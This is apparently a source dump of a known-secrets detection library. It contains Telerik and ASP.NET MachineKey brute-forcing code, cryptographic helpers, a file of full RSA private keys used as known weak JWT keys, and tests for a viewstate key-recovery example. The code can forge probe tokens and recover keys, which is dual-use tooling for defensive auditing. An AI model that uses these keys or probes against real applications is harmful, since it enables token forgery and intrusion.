KDF.PBKDF2(ekey.encode(), bytes(telerik_hardcoded_salt), dkLen=48) 56 | derivedKey = pbkdf1[:32] 57 | derivedIV = pbkdf1[32:] 58 | return derivedKey, derivedIV 59 | 60 | @classmethod 61 | def telerik_encrypt(self, derivedKey, derivedIV, dialog_parameters_pt): 62 | cipher = AES.new(derivedKey, AES.MODE_CBC, derivedIV) 63 | dialog_parameters_b64 = base64.b64encode(dialog_parameters_pt.encode()).decode().encode("utf-16le") 64 | dialog_parameters_raw = pad(dialog_parameters_b64, AES.block_size) 65 | encrypted_bytes = cipher.encrypt(dialog_parameters_raw) 66 | return base64.b64encode(encrypted_bytes).decode() 67 | 68 | @classmethod 69 | def telerik_decrypt(self, derivedKey, derivedIV, dp_enc): 70 | if not len(dp_enc) > 0: 71 | return None 72 | 73 | cipher = AES.new(derivedKey, AES.MODE_CBC, derivedIV) 74 | try: 75 | pt_raw = cipher.decrypt(dp_enc) 76 | except ValueError: 77 | return None 78 | original_bytes = unpad(pt_raw) 79 | try: 80 | decoded_bytes = original_bytes.decode("utf-16le") 81 | except UnicodeDecodeError: 82 | return None 83 | try: 84 | dialog_parameters = base64.b64decode(decoded_bytes).decode() 85 | except ValueError: 86 | return None 87 | 88 | return dialog_parameters 89 | 90 | def check_secret(self, dialogParameters_raw, key_derive_mode=None, include_machinekeys=False): 91 | if not key_derive_mode: 92 | key_derive_modes = ["PBKDF1_MS", "PBKDF2"] 93 | else: 94 | key_derive_modes = [key_derive_mode] 95 | 96 | if not self.identify(dialogParameters_raw): 97 | return None 98 | 99 | dialogParametersB64 = urllib.parse.unquote(dialogParameters_raw) 100 | try: 101 | dp_enc = base64.b64decode(dialogParametersB64[:-44]) 102 | except binascii.Error: 103 | return None 104 | for key_derive_mode in key_derive_modes: 105 | for ekey in self.prepare_keylist(include_machinekeys=include_machinekeys): 106 | derivedKey, derivedIV = self.telerik_derivekeys(ekey, key_derive_mode) 107 | dialog_parameters = self.telerik_decrypt(derivedKey, derivedIV, dp_enc) 108 | if not dialog_parameters: 109 | continue 110 | if dialog_parameters.isascii(): 111 | return { 112 | "secret": ekey, 113 | "details": {"DialogParameters": dialog_parameters}, 114 | } 115 | return None 116 | 117 | def encryptionkey_probe_generator(self, hash_key, key_derive_mode, include_machinekeys=False, custom_keys=None): 118 | test_string = b"AAAAAAAAAAAAAAAAAAAA" 119 | dp_enc = base64.b64encode(test_string).decode() 120 | 121 | for ekey in custom_keys if custom_keys else self.prepare_keylist(include_machinekeys=include_machinekeys): 122 | derivedKey, derivedIV = self.telerik_derivekeys(ekey, key_derive_mode) 123 | ct = self.telerik_encrypt(derivedKey, derivedIV, dp_enc) 124 | h = hmac.new(hash_key.encode(), ct.encode(), self.hash_algs["SHA256"]) 125 | yield (f"{ct}{base64.b64encode(h.digest()).decode()}", ekey) 126 | -------------------------------------------------------------------------------- /badsecrets/helpers.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import hmac 3 | import struct 4 | import hashlib 5 | from colorama import Fore, Style, init 6 | from badsecrets.errors import BadsecretsException 7 | 8 | init(autoreset=True) # Automatically reset the color to default after each print statement 9 | 10 | 11 | def print_status(msg, passthru=False, color="white", colorenabled=True): 12 | color_dict = {"white": Fore.WHITE, "red": Fore.RED, "yellow": Fore.YELLOW, "blue": Fore.BLUE, "green": Fore.GREEN} 13 | 14 | colorama_color = color_dict.get(color.lower(), Fore.WHITE) 15 | 16 | if msg: 17 | if colorenabled: 18 | msg = f"{colorama_color}{msg}{Style.RESET_ALL}" 19 | if passthru: 20 | return msg 21 | else: 22 | print(msg) 23 | 24 | 25 | def _writeuint(v): 26 | return struct.pack(">I", v) 27 | 28 | 29 | def unpad(s): 30 | return s[: -ord(s[len(s) - 1 :])] 31 | 32 | 33 | def sp800_108_derivekey(key, label, context, keyLengthInBits): 34 | lblcnt = 0 if label is None else len(label) 35 | ctxcnt = 0 if context is None else len(context) 36 | buffer = b"\x00" * (4 + lblcnt + 1 + ctxcnt + 4) 37 | if lblcnt != 0: 38 | buffer = buffer[:4] + label + buffer[4 + lblcnt :] 39 | if ctxcnt != 0: 40 | buffer = buffer[: 5 + lblcnt] + context + buffer[5 + lblcnt + ctxcnt :] 41 | buffer = buffer[: 5 + lblcnt + ctxcnt] + _writeuint(keyLengthInBits) + buffer[5 + lblcnt + ctxcnt + 4 :] 42 | v = int(keyLengthInBits / 8) 43 | res = b"\x00" * v 44 | num = 1 45 | while v > 0: 46 | buffer = _writeuint(num) + buffer[4:] 47 | h = hmac.new(key, buffer, hashlib.sha512) 48 | hash = h.digest() 49 | cnt = min(v, len(hash)) 50 | res = hash[:cnt] + res[cnt:] 51 | v -= cnt 52 | num += 1 53 | return res 54 | 55 | 56 | def write_vlq_string(string): 57 | encoded_string = string.encode("utf-8") 58 | length = len(encoded_string) 59 | length_vlq = bytearray() 60 | while length >= 0x80: 61 | length_vlq.append((length | 0x80) & 0xFF) 62 | length >>= 7 63 | length_vlq.append(length) 64 | return bytes(length_vlq) + encoded_string 65 | 66 | 67 | def sp800_108_get_key_derivation_parameters(primary_purpose, specific_purposes): 68 | derived_key_label = primary_purpose.encode("utf-8") 69 | derived_key_context = b"".join([write_vlq_string(purpose) for purpose in specific_purposes]) 70 | return derived_key_label, derived_key_context 71 | 72 | 73 | class Csharp_pbkdf1_exception(BadsecretsException): 74 | pass 75 | 76 | 77 | class Csharp_pbkdf1: 78 | def __init__(self, passwordBytes, saltBytes, iterations): 79 | self.passwordBytes = passwordBytes 80 | self.saltBytes = saltBytes 81 | self.iterations = iterations 82 | self.extra = bytes([]) 83 | self.extra_count = 0 84 | self.magic_number = 0 85 | if not iterations > 0: 86 | raise Csharp_pbkdf1_exception("Iterations must be greater than 0") 87 | 88 | try: 89 | self.lasthash = hashlib.sha1(passwordBytes + saltBytes).digest() 90 | except TypeError: 91 | raise Csharp_pbkdf1_exception("Password and Salt must be of type bytes") 92 | 93 | self.iterations -= 1 94 | 95 | for i in range(self.iterations - 1): 96 | self.lasthash = hashlib.sha1(self.lasthash).digest() 97 | 98 | self.derivedBytes = hashlib.sha1(self.lasthash).digest() 99 | self.ctrl = 1 100 | 101 | def GetBytes(self, keylen): 102 | if not isinstance(keylen, int): 103 | raise Csharp_pbkdf1_exception("GetBytes() must be called with an int") 104 | 105 | result = bytearray() 106 | 107 | if len(self.extra) > 0: 108 | self.magic_number = len(self.extra) - self.extra_count 109 | if self.magic_number >= keylen: 110 | result.extend(self.extra[self.extra_count : self.extra_count + keylen]) 111 | if self.magic_number > keylen: 112 | self.extra_count += keylen 113 | else: 114 | self.extra = bytes([]) 115 | self.derivedBytes = bytes([]) 116 | return result 117 | 118 | result.extend(self.extra[self.magic_number : self.magic_number + self.magic_number]) 119 | self.extra = bytes([]) 120 | 121 | while len(self.derivedBytes) < keylen: 122 | self.derivedBytes += hashlib.sha1(bytes([ord(str(self.ctrl))]) + self.lasthash).digest() 123 | self.ctrl += 1 124 | 125 | result.extend(self.derivedBytes[: keylen - self.magic_number]) 126 | 127 | if (len(self.derivedBytes) + self.magic_number) > keylen: 128 | self.extra = self.derivedBytes 129 | self.extra_count = keylen - self.magic_number 130 | 131 | self.derivedBytes = bytes([]) 132 | return result 133 | 134 | 135 | def twos_compliment(unsigned): 136 | bs = bin(unsigned).replace("0b", "") 137 | val = int(bs, 2) 138 | b = val.to_bytes(1, byteorder=sys.byteorder, signed=False) 139 | return int.from_bytes(b, byteorder=sys.byteorder, signed=True) 140 | 141 | 142 | class Java_sha1prng: 143 | def __init__(self, key): 144 | keyBytes = key 145 | if not isinstance(key, bytes): 146 | keyBytes = key.encode() 147 | 148 | self.seed = hashlib.sha1(keyBytes).digest() 149 | self.state = None 150 | self.outBytes = b"" 151 | 152 | # Simulate setseed() 153 | self.state = hashlib.sha1(self.seed).digest() 154 | self.outBytes = hashlib.sha1(self.state).digest() 155 | self.updateState(self.outBytes) 156 | 157 | def updateState(self, output): 158 | last = 1 159 | outputBytesArray = bytearray(output) 160 | newState = bytearray() 161 | 162 | for c, n in zip(self.state, outputBytesArray): 163 | v = twos_compliment(c) + twos_compliment(n) + last 164 | finalv = v & 255 165 | newState.append(finalv) 166 | last = v >> 8 167 | self.state = newState 168 | 169 | def get_sha1prng_key(self, outLen): 170 | while len(self.outBytes) < outLen: 171 | output = hashlib.sha1(self.state).digest() 172 | self.outBytes += output 173 | self.updateState(output) 174 | return self.outBytes[:outLen] 175 | -------------------------------------------------------------------------------- /badsecrets/resources/jwt_rsakeys_private.txt: -------------------------------------------------------------------------------- 1 | 1:-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA6cs10W3XKnr1MDoO0NgfYEixdQy5e3m/E4POPC5t6yyc/eZZ\nayytrA6CfaZXBKnYU4YKD06sJULj30qw/TJJwphhb2a5s3sjXejL4KW2WTdP6F+D\nbSaokzvKVdaZ97GnLtiei8n6gnSE1xSsJ15+d9JHImekuW/ggksVbI26UTiXvfv7\nLUJ8ntt6wG1UQHWOvYbG81TTpZjItvZsYu1tpekjNpOwCsIbO//S1JOiSgpuKp7H\nwCnQwABNEWyMuIAMlymMyocbTdQHcClogZC9bwokxTPZGmD9xZ+meaeVD5HONqAS\nIJ1tOoFGsnwwwlEhwsul0FRs7qehuhJmKE5ZbwIDAQABAoIBAQCGiSKqJqwnzOPl\nYbN+6K99h7depPjjnhafkzyNkyY7q8uXrAOO0gIKvbrHtX3juB09Syfk0R/svUZG\nC0Q4H8UkTu3a3mFEcDrU4o7X8mQxiMvZ64TEvfdJ6qEvrjOhvsB3C76IsK0Qfx6m\nakX6zby3FPFMUhoPf9rQ/4YPlqs96tpybA6yYznHZaMGu8j+nNCeCb8xYh/jhon5\nCSOb5csOD2JQ1nUwcmMNpZn2xziZP0d+c5rlrX2IzB+Q2QZLM7C3rxGx2Q4YxMRZ\ndRLdoQs3cb4HOU2otrinrJ8+MBF+HKKXNN0u1x+VnLPdb6JX3hFylSZ5u0XdOCIG\n5dlvjFBpAoGBAPua8Whot8r6RolnaL8qMG+8t3pL9UpqR6ZLSsntMSudYrBSFVR4\noM4SFKymnusaHt6NvKwWUFW2NPgq03mekwX4wmZM1VXnKETmuoUcLL9kH/pwS2UT\n3ygtMMaBCyhSR0H2SLkNDpqmwFAQn83vVah+ouZYg5+GXfBp0qk7YDLzAoGBAO3g\nn31086MQiX7BT8vl9ddZT4g0e3XjUdt+mE3ym1KFyj017pzMZTMR7Mfq0D9OVOvG\n3fVJ0oH+fo/8FAwMAOpibLUOMdKHzD87n/3DWivHEV0NezTHzYTvufA5IUG1V2nQ\n+qrQZO4lPcsj0Nx/ZAdgsTxuYAVKYSTVVKnZJQaVAoGBAKlQPT/rqDL5dNomMoDi\nHTI0JqwvzWNEXe70H+H+seYNxUmuExiDDINf+3Wrsqm3LCrL6rlLUsg7Ey4lc6YW\nJg4QtpEtBysFoT2snrvQl/Q7pqFbTAE6/CMHNhl+4UlDBRzIZWvR84/ywtueNEva\n0SPQBENKMVj6jOCp9c9YW4YtAoGATXqWOCS5nmkqf5CzTvRNyKCcWP7PH6y04ssv\nDGRy1sQhBSLl30hrxeCWwN7oiVYYLtuNO/GZkSG1U2yFkw7t1WnNgoNnEu2MRyRC\njkLswcmLDEXx1VUmyZ/Tbj0NafuIxzx8CNrrpO2YXOwDgW40xHpoAAjrWY3KalbZ\nxqClgKkCgYEAoWexPasw32n1NNlUv+cPhsgoQyxQJcpdziN14KJOu7E2QrK7gT34\n8JOos1TTU/iuYYq+1vwrwtlSX1+avQuW61IZ+tCzGZhfXgSGQoldA+/iq/8bFQEb\n8nwdyxiI8DGcgpbqTDiLyZX2rSSk/tuovN7nxT4fK1iz/nvdimHt9tc=\n-----END RSA PRIVATE KEY----- 2 | 2:-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUp\nwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u09lHNsj6tQ5\n1s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZwIDAQABAoGAFijko56+qGyN8M0RVyaRAXz++xTqHBLh\n3tx4VgMtrQ+WEgCjhoTwo23KMBAuJGSYnRmoBZM3lMfTKevIkAidPExvYCdm5dYq3XToLkkLv5L2\npIIVOFMDG+KESnAFV7l2c+cnzRMW0+b6f8mR1CJzZuxVLL6Q02fvLi55/mbSYxECQQDeAw6fiIQX\nGukBI4eMZZt4nscy2o12KyYner3VpoeE+Np2q+Z3pvAMd/aNzQ/W9WaI+NRfcxUJrmfPwIGm63il\nAkEAxCL5HQb2bQr4ByorcMWm/hEP2MZzROV73yF41hPsRC9m66KrheO9HPTJuo3/9s5p+sqGxOlF\nL0NDt4SkosjgGwJAFklyR1uZ/wPJjj611cdBcztlPdqoxssQGnh85BzCj/u3WqBpE2vjvyyvyI5k\nX6zk7S0ljKtt2jny2+00VsBerQJBAJGC1Mg5Oydo5NwD6BiROrPxGo2bpTbu/fhrT8ebHkTz2epl\nU9VQQSQzY1oZMVX8i1m5WUTLPz2yLJIBQVdXqhMCQBGoiuSoSjafUhV7i1cEGpb88h5NBYZzWXGZ\n37sJ5QsW+sJyoNde3xH8vdXhzU7eT82D6X/scw9RZz+/6rCJ4p0=\n-----END RSA PRIVATE KEY----- 3 | 3:-----BEGIN RSA PRIVATE KEY-----\nMIIEoAIBAAKCAQEAnFWdIwBbLRw4xfFDXYFmlXKB4BpKeuAtfh1dcs5mhod0WTo/\ni/Z4DOpiiw/2H05luI4PzOZem8AlHI9hUhHq5p1+YHM68SyvBQ9OTl+O90nmLYOt\n2Jzquks11bf29nJh7KwGVHOv2nh3eL39BVsqHSt0O/rjSa0bV+QtUc2DP9U4WzZ3\n8RhT2bdiRcsDuMfI024u9JGG/O4iG3wDlXyS5j6G0NVw/KEJJtYYv8ruQVpvlKUd\nNtx7aE+u6F60SjJYQSfdjMoQNMDglBFwhY11RlHSmiJ/Ym8aE+Hj11JHhPcB1N+X\nRWaHV9ply4TnE13PsQtGWVKsLDNQNUeIUljKdQIDAQABAoIBAAa4d3owYxBcDOTA\nK7vdUDekezN9wy3nwozlXkW33G3JbOsDt1pLoiWL/eh/Kyl1XqdsaVQkTco28bbP\nQx5wFBUN4tzqlzdpoFcrV/EZPTV268+RFZbLnXDyGBez7N3zVNpZGtHj7JoLtmHD\nvm4jLnr1NJik1G3aZI6GtJwLpaocwtKWHB59hVwF5NinW6BXN0ALNfwKwU4vMWYo\nI65F2zvGMVl9rbfvU+E73DXK3TN5tLOAkqZMQ8+g/VnNd/XuZwh2ZADokEXV8aNR\n7zVm3MCCcaa8IKJMrgnb9q47tzfyaoIu5aRYGYKZ/8wuItv4Dal30MK1CQoCD8cD\n5uzorQECgYEA9+QTCXrVHzhJJm+QWQZrXu7ydk+tEix7WY9ZY702OHiTO2x9IT4d\n4lKFbLhQrQMAFhO3B31Hq5ODGS4jB3bFzATrtOR9eLCR7l+0Az2FcU1Zmqsdkyv8\nzlkD9oOYif6rICrVyLQ/lbQF7erVDRbxJUjeKqGAnvELrlzcr+rx+XECgYEAoXLQ\nMdR+OLsP5XbcoA//Z2pgwwKZVs282MfYjZLVqeEAAC8BB9+8HHrtMaJGvADI06OV\n7lTCDaE8UlqgzN2B55FmCTiLABjhk3fEDrhGVe4jhEZz1i8t0ArjsYTwXs/uXoUz\nYP2rcJtkybOQEzjbvM4s5+B8iht+dYaqwoW5/0UCgYAp68UYZlBiXjdoq5dCpuZD\ngK86ONEw8JrPk4Fvb5EazbFAbGFg3Mta+c+cijMCfy5ljWH3f0U+i8yw1m+QFJLw\npKhjx/w8C8gyArdDkQTfG1Ca6nMu71JqZv1Xk/uY4pt37iaHMYxLOc2C5aKv+wA+\n6OrBVNyWhHcQPp4Hlfjj0QJ/de5oJf4SNV5vPi6U+la1OdV62PgNCls+lxtkFAYu\nDOlOFtQ+7IGB50vj912STcJE8FOOMYm4NjyQ05df3kXvnjeXUST8ZBXIsO/LRvVU\na3CIgRb1hn7v+Af8Sq/Q5XD9rg2eejrSAG+CL9P6ahAecswoATj5v+hVd4PnODB2\nrQKBgAwe3pkQRFHjameLHip+xcHQ85aASiLjhTvFhFjRHDpJ+FoiJ2H4xi4/jd1F\nKGrhMpVnLXKwe1HaONFPV3yEFK2da1r66iIr/opcx1hyKmV1xvebcUxYYoRY6j/g\nJMsceBR10oGEath+43rS78LASIQG83PmTYhkcEkQNftxEGqC\n-----END RSA PRIVATE KEY----- 4 | 4:-----BEGIN RSA PRIVATE KEY-----\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCKAIc+hqdKgcPb\n9XbR5Osbdeq1J14zxRG58CkrHZO0PMSf/smoCEyEcxhGsjrITl/sLv/q8iOVMKgY\nKdpOMIoPDGCF8KCXA4F9hM/WXJstprEeqPi7a1FnXzi3uwaf+jy2zUviDt09jm+g\nuu5TaZzTuzyoClEgfwIu2LwuHaJKtjceRKHWKvUqqxBQMXlq/s5lNXWajWSpLffP\n/5L0YfCK9uW1FJJXT4cP9fiNbcd6GiHGwVk/eJy4QYaR9lWNvnKKu1H52xgWkLC+\nTwfOtcqtjF9sWE5XIAjpdFVh5u64g/uOafKzEF/yVOTzPvYUWI3PhKjqSS3V3yhk\nTqoFG53hAgMBAAECggEALo0NEgdkCRsK0XjUsurQb/vvx1nXSglQ+HLNwFCC0Yqq\nHPpaVccu4ILejoJyl7zwWIBmLX+uhxXZrgT4MeXnvDnFmYjY8vfox0l0vm+QnO6c\n0qXW+Ymy9PbG8BszmeVUc6l+zmuLL8eLWiGUYSjAESAYzupkAV02hEzx9XBjnWWl\nifoWOXvO22ADtO8jRk1ODbOrqyt1Hz7UDLtQI6Vdw3QovadW/3hKCx+0a/WxgDhR\nVosPudbzIGYBzdnbOyT+ToVIyMBTJU/8muZbWsaaOXHhel9lD/CUjvCcivL5tcSU\n0KvEiHVCXWfojbuy/RksgSTvl/aFEOrmqRjyu2JEbQKBgQDt+B4r6NVuqOPus+Xb\nRHF8QpvtwzIWSxxAwbtAWxWDJSrMMlhAx1yZ4kefSxbxAkdNkv9vQoVabVAEiWdJ\nVzXB8W9tvcD57zrbiraHQI5hCn+t5GIsSTnbhg6CG2dxv58uWviDneeNEdDeki+b\nvwTTXuHIeyCnPdLI/vaMzO0clwKBgQCUdVm5IYxRd93ohYH14zIfty+7J301iB3t\nt/fccrg1qjx4WniLbhLweVYdL44XpzMZUzdAYFhyHUIyAWIR4yHC3b0+u34oshjv\nMD/gjWPiNTBBthYTy559todm3jyj+g9Z+gLLu2G93+wGl3u15igiTy0oMmh4bS3s\nxtFk1pLQRwKBgF8L+wEOvjC0xFVTBTvO2oUHFcChdh/xYBd9SY0q1CzNa4qjkRxO\nhG3yMykslL0ua8xQKjYGG71Ca/Nj7h0c+Bu+kwMCB1HMe3W0sbLT1gpsZxLNZWjK\n1pEXujO9PlPwdWPOcfQf3Zw6wXIkcV+DrCnAe+3XP/OMfeRJ8a/LKemBAoGAf46M\n9wqiO+WYH4+G6LS7fpCxTEdTx8kangQxzZIsQL/ykR568KI1V7WJji4sEpqwxxO/\nJ2sg03vcQob5spDLk1lenyYN8f2Eew+j8tbJebVlrzA6q+uKVE2e7X4J8IKM6ixs\ndoycIL7jV46U1ufYmBIbpKwbI0375bO2esP7BUUCgYBqmx7GJnyOapOYlR7wHhYL\nrXk0QWwE7j3d4zQCHGOqzFqWxyIi1hsQYCwgOeobmd0r5kULRRptYBKvflEiboVq\nRL3VeyR9ZIEDkbCUewwf2qn6EoOCfi7x6/36brhn8r3mWC9rvNiKB33iBJrkin1p 5 | f0aUgyrlhk1aMnDDBFFb8A==\n-----END RSA PRIVATE KEY----- 6 | 5:-----BEGIN RSA PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWvChzPXBs9aA3\nVlCKSG5z/EaTgpXlSDqiBVmoUKVFTIvK+mj72QYZLIXwp8GimNJAK+atUdH5YfNN\nB8x2eQg2NLYigdnv5/lADI8gAcUVf1cKSwt9kgpLv2CURBBIlMh9eg3ofN9eCRm7\nrbsVULOtYjpMe2nbLNdmdBtuVcjpKfN8nC4uWcoogK0jJ4ijBNmsIqAFCcIFWMuG\nz2HENSFSbx+XOavsOaxrfsQpZI5IqiZMAR3GXCFkYu2nPrpUAhAElBql0TE/xr7l\ndxfm5wwTPMbcUvBvIskYUqMkhc+LeO1zC0GNYhJju2Y6Ur3MJf0ztewwj1HOqD2b\nQ3pAHjO9AgMBAAECggEATus8Go5cAU+MoInSc+AG6A2xiokVufx/wAgjWV66PuvQ\n/LpnVxf9y8a3OykMW0u7CeaYkt5dQ0AigQ76sBfvUqywu6HpjOg+jLGQ8Hx2CF6S\niK/n+zBvJEOjpRoWufYkcSkob2dlWFQT5wwEk+LjBjfxoSZCU1D5oSfO5RAWFMqv\nUWFQjlhpgtFWzBNtZIMBetWUeHuNJNYSCA2Gu2tv4yQqHgxcwScM596OXErduZc1\nOZQ9Kwxe9AE6pFryxcxyngJWOKky668JwUdc/IKDzsg4O5uodZabtR1aAsX6IMAQ\nylRZeCnV/BHSljoS0wAXvUNcC4KsuFUiROIoGNfCaQKBgQD+J5quLr+Exso1KvZZ\n3X4lK+hWx+7uSOr5j0No6Y+u5X98whbGqwXPFpjLFqQlcpx0DKbl4Od0FqeKBTdv\nqiL3b2CRp4w+AgHjfM2ENg5XgkQDZXwToQy8ZIQvL82QMnZMYYrVoV6PfCIs7+/t\nrWL+25IrP/NB9jGRKFCCBWz1ewKBgQDYS0jcaC11BvT4AfJfmZVZ8nPQuy5IB6Uq\nI++5PhtTRxOW/XS/kiblp5grVmD8ZgSyIgCBU3zcZ9AF5KyN2Xl7fM8oB1owxXmi\nSZgEA9b66elR7nnMRmPsDeeA0LBfasIIlifNdzEVyuy3BrI38zIuj/h1zs2WsLbX\ntQh4smoKJwKBgQCYmMTZsj3Rhd3g4GO7fy5/OQauHCsMLQHQR0FNG3bmpurNyGcO\nb570QPgKcBSsW00urG4E9e1iGTwMtaccR4XpFJlhuryMen4RzVxD9oTT6+XUODmw\nO3E/KAbpogUFgBbhM2u9ar8w3XJTkth21zTqGoF/sEzpHN2T7yWve3x5QwKBgQCB\nZJhT8qavCdhmvZNniZOFWbvbNP887AXsrc7tfLAQI8ceXsYHDMHkRVyNIIGovMc2\nYYz30SAzIo+Z1vE7csxwCXxMMAnOf3SCl5AvZrSnKmQANa/7emiwgKjrsOyySEWH\nqXxqOFHO/bSa0ZCwU/bDUDGNGIh5C4J2jMBipCk3pQKBgAfrM+zHmXxkTMUtFeZT\nOuZVv/4NEQYI0Sb243K/+PVw0c0VjIzp6SuDGvVhzcXV+0K8AhFaYBoAp4BSL11M\nfcmlSTMA1Zi6xOlgwuRDvsw03pRLBD8cJ7YzYau0UTqSWa+/ojXpuSdN4o5ZOsDJ\ntpl2RanF4WWFPPMrGYoPZ0f4\n-----END RSA PRIVATE KEY----- -------------------------------------------------------------------------------- /tests/examples_blacklist3r_test.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import requests 4 | import requests_mock 5 | from mock import patch 6 | 7 | SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) 8 | sys.path.append(f"{os.path.dirname(SCRIPT_DIR)}/examples") 9 | from badsecrets.examples import blacklist3r 10 | 11 | base_viewstate_page = """ 12 | 13 | 14 | 15 | Untitled Page 16 | 17 | 18 |
19 |
20 | 21 |
22 | 23 |
24 | 25 | 26 | 27 |
28 |
29 | test 30 |
31 | 32 | 33 | 34 | """ 35 | 36 | vulnerable_viewstate = ( 37 | "o6oVz97xjF/9t1+trA4X4xBFcTnk9bFXqzCNksR5PszHkTScHA/onlBaTUX0tEiHyZX18kIGkuiNoJBmzaGmjEqNsiJuIxrBRjT52D+DEWM7n6d+" 38 | ) 39 | 40 | non_vulnerable_viewstate = ( 41 | "BADsecrets/9t1+trA4X4xBFcTnk9bFXqzCNksR5PszHkTScHA/onlBaTUX0tEiHyZX18kIGkuiNoJBmzaGmjEqNsiJuIxrBRjT52D+DEWM7n6d+" 42 | ) 43 | 44 | no_viewstate_page = "Just a website" 45 | 46 | 47 | def test_examples_blacklist3r_manual(monkeypatch, capsys): 48 | # Valid Viewstate Unencrypted W/Generator 49 | monkeypatch.setattr( 50 | "sys.argv", 51 | [ 52 | "python", 53 | "--viewstate", 54 | "/wEPDwUJODExMDE5NzY5ZGSglOSr1rG6xN5rzh/4C9UEuwa64w==", 55 | "--generator", 56 | "EDD8C9AE", 57 | ], 58 | ) 59 | blacklist3r.main() 60 | captured = capsys.readouterr() 61 | assert "Matching MachineKeys found!" in captured.out 62 | assert ( 63 | "F5144F1A581A57BA3B60311AF7562A855998F7DD203CD8A71405599B980D8694B5C986C888BE4FC0E6571C2CE600D58CE82B8FA13106B17D77EA4CECDDBBEC1B" 64 | in captured.out 65 | ) 66 | assert "validationAlgo: SHA1" in captured.out 67 | 68 | # Valid Viewstate Encrypted 69 | monkeypatch.setattr( 70 | "sys.argv", 71 | [ 72 | "python", 73 | "--viewstate", 74 | "dn/WEP+ogagnOcePgsXoPRe05wss0YIyAZdzFHJuWJejTRbDNDEqes7fBwNY4IqTmT7kTB0o9f8fRSpRXaMcyg==", 75 | ], 76 | ) 77 | blacklist3r.main() 78 | captured = capsys.readouterr() 79 | assert "Matching MachineKeys found!" in captured.out 80 | assert ( 81 | "F5144F1A581A57BA3B60311AF7562A855998F7DD203CD8A71405599B980D8694B5C986C888BE4FC0E6571C2CE600D58CE82B8FA13106B17D77EA4CECDDBBEC1B" 82 | in captured.out 83 | ) 84 | assert "encryptionAlgo: DES" in captured.out 85 | 86 | # Invalid viewstate is Rejected 87 | monkeypatch.setattr( 88 | "sys.argv", 89 | [ 90 | "python", 91 | "--viewstate", 92 | "/wEPDwUJODExMDE5NzY5ZGSglOSr1rG6xN4rzh/4C9UEuwa64w==", 93 | "--generator", 94 | "EDD8C9AE", 95 | ], 96 | ) 97 | blacklist3r.main() 98 | captured = capsys.readouterr() 99 | assert "Matching MachineKeys NOT found" in captured.out 100 | 101 | # Invalid generator is rejected 102 | monkeypatch.setattr( 103 | "sys.argv", 104 | [ 105 | "python", 106 | "--viewstate", 107 | "/wEPDwUJODExMDE5NzY5ZGSglOSr1rG6xN5rzh/4C9UEuwa64w==", 108 | "--generator", 109 | "^INVALID^", 110 | ], 111 | ) 112 | with patch("sys.exit") as exit_mock: 113 | blacklist3r.main() 114 | assert exit_mock.called 115 | captured = capsys.readouterr() 116 | assert "Generator is not formatted correctly" in captured.err 117 | 118 | # Viewstate doesn't match pattern and is rejected 119 | with patch("sys.exit") as exit_mock: 120 | monkeypatch.setattr( 121 | "sys.argv", 122 | [ 123 | "python", 124 | "--viewstate", 125 | "^INVALID^", 126 | "--generator", 127 | "EDD8C9AE", 128 | ], 129 | ) 130 | blacklist3r.main() 131 | captured = capsys.readouterr() 132 | assert "Viewstate is not formatted correctly" in captured.err 133 | 134 | 135 | def test_examples_blacklist3r_offline(monkeypatch, capsys): 136 | with patch("sys.exit") as exit_mock: 137 | # Invalid URL is rejected 138 | monkeypatch.setattr("sys.argv", ["python", "--url", "hxxp://notaurl"]) 139 | blacklist3r.main() 140 | assert exit_mock.called 141 | captured = capsys.readouterr() 142 | assert "error: One of --url or --viewstate is required" in captured.err 143 | 144 | with patch("sys.exit") as exit_mock: 145 | # Both URL and viewstate are supplied - rejected appropriately 146 | monkeypatch.setattr( 147 | "sys.argv", 148 | [ 149 | "python", 150 | "--url", 151 | "http://example.com", 152 | "--viewstate", 153 | "dn/WEP+ogagnOcePgsXoPRe05wss0YIyAZdzFHJuWJejTRbDNDEqes7fBwNY4IqTmT7kTB0o9f8fRSpRXaMcyg==", 154 | ], 155 | ) 156 | blacklist3r.main() 157 | assert exit_mock.called 158 | captured = capsys.readouterr() 159 | assert "error: --viewstate/--generator options and --url option are mutually exclusive" in captured.err 160 | 161 | with requests_mock.Mocker() as m: 162 | m.get( 163 | f"http://example.com/vulnerableviewstate.aspx", 164 | status_code=200, 165 | text=base_viewstate_page.replace("###viewstate###", vulnerable_viewstate), 166 | ) 167 | m.get( 168 | f"http://example.com/nonvulnerableviewstate.aspx", 169 | status_code=200, 170 | text=base_viewstate_page.replace("###viewstate###", non_vulnerable_viewstate), 171 | ) 172 | m.get(f"http://example.com/noviewstate.aspx", status_code=200, text=no_viewstate_page) 173 | m.get(f"http://notreal.com/", exc=requests.exceptions.ConnectTimeout) 174 | # URL Mode - Valid URL is visited, contains viewstate, viewstate is vulnerable 175 | 176 | monkeypatch.setattr("sys.argv", ["python", "--url", "http://example.com/vulnerableviewstate.aspx"]) 177 | blacklist3r.main() 178 | 179 | # URL Mode - Valid URL is visited, contains viewstate, viewstate is vulnerable 180 | captured = capsys.readouterr() 181 | assert "Matching MachineKeys found!" in captured.out 182 | assert ( 183 | "F4F0AC3A8889DFBB6FC9D24275A8F0E523C1FB1A2F3FA0C3F3B36320A80670E1D62D15A16A335F0CB14F8AECE7002A5BD8A980F677EA82666B49167947F0A669" 184 | in captured.out 185 | ) 186 | assert "encryptionAlgo: AES" in captured.out 187 | 188 | # URL Mode - Valid URL is visited, contains viewstate, viewstate is NOT vulnerable 189 | monkeypatch.setattr("sys.argv", ["python", "--url", "http://example.com/nonvulnerableviewstate.aspx"]) 190 | blacklist3r.main() 191 | captured2 = capsys.readouterr() 192 | assert "Matching MachineKeys NOT found" in captured2.out 193 | 194 | # URL Mode - Valid URL is visited, does not contain viewstate 195 | monkeypatch.setattr("sys.argv", ["python", "--url", 